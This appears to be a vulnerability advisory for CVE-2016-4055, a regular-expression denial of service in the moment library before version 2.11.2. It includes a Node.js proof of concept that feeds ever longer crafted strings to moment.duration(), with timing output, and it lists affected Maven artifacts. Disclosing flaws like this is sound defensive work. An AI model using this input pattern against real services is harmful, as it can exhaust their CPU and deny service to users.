MODERATE 6.5

CVE-2016-4055

Regular Expression Denial of Service in moment

Description

Versions of moment prior to 2.11.2 are affected by a regular expression denial of service vulnerability. The vulnerability is triggered when arbitrary user input is passed into moment.duration().

Proof of concept

var moment = require('moment');
var genstr = function (len, chr) {
var result = "";
for (i=0; i<=len; i++) {
result = result + chr;
}
return result;
}
for (i=20000;i<=10000000;i=i+10000) {
console.log("COUNT: " + i);
var str = '-' + genstr(i, '1')
console.log("LENGTH: " + str.length);
var start = process.hrtime();
moment.duration(str)
var end = process.hrtime(start);
console.log(end);
}

Results

$ node moment.js
COUNT: 20000
LENGTH: 20002
[ 0, 618931029 ]
COUNT: 30001
LENGTH: 30003
[ 1, 401413894 ]
COUNT: 40002
LENGTH: 40004
[ 2, 437075303 ]
COUNT: 50003
LENGTH: 50005
[ 3, 824664804 ]
COUNT: 60004
LENGTH: 60006
[ 5, 651335262 ]

Recommendation

Please update to version 2.11.2 or later.

Affected Maven artifacts (3)

ArtifactAffected versionsFixed in
org.mvnpm » momentvia npm moment
< 2.11.2
2.11.2
org.webjars » momentjsvia npm moment
< 2.11.2
2.11.2
org.webjars.npm » momentvia npm moment
< 2.11.2
2.11.2

Blast radius

3affected artifacts
36affected versions
231dependent artifacts (est.)
4,978dependent versions

38% of the dependent artifacts (90) still pull an affected version in their latest release.

DepthDependent versions
Direct
1,297
2 hops
748
3 hops
1,141
4 hops
1,167
5 hops
566
6 hops
59

Most used dependents

Computed from the dependency graph of build 20261125.0317 (compile and runtime scopes, nearest version wins). Exclusions and dependency management in consuming projects are not applied, so dependents are potentially affected. When several artifacts are affected, a dependent version that pulls more than one of them is counted once per artifact.

Other ecosystems

Also affects npm (1 package) . See all on OSV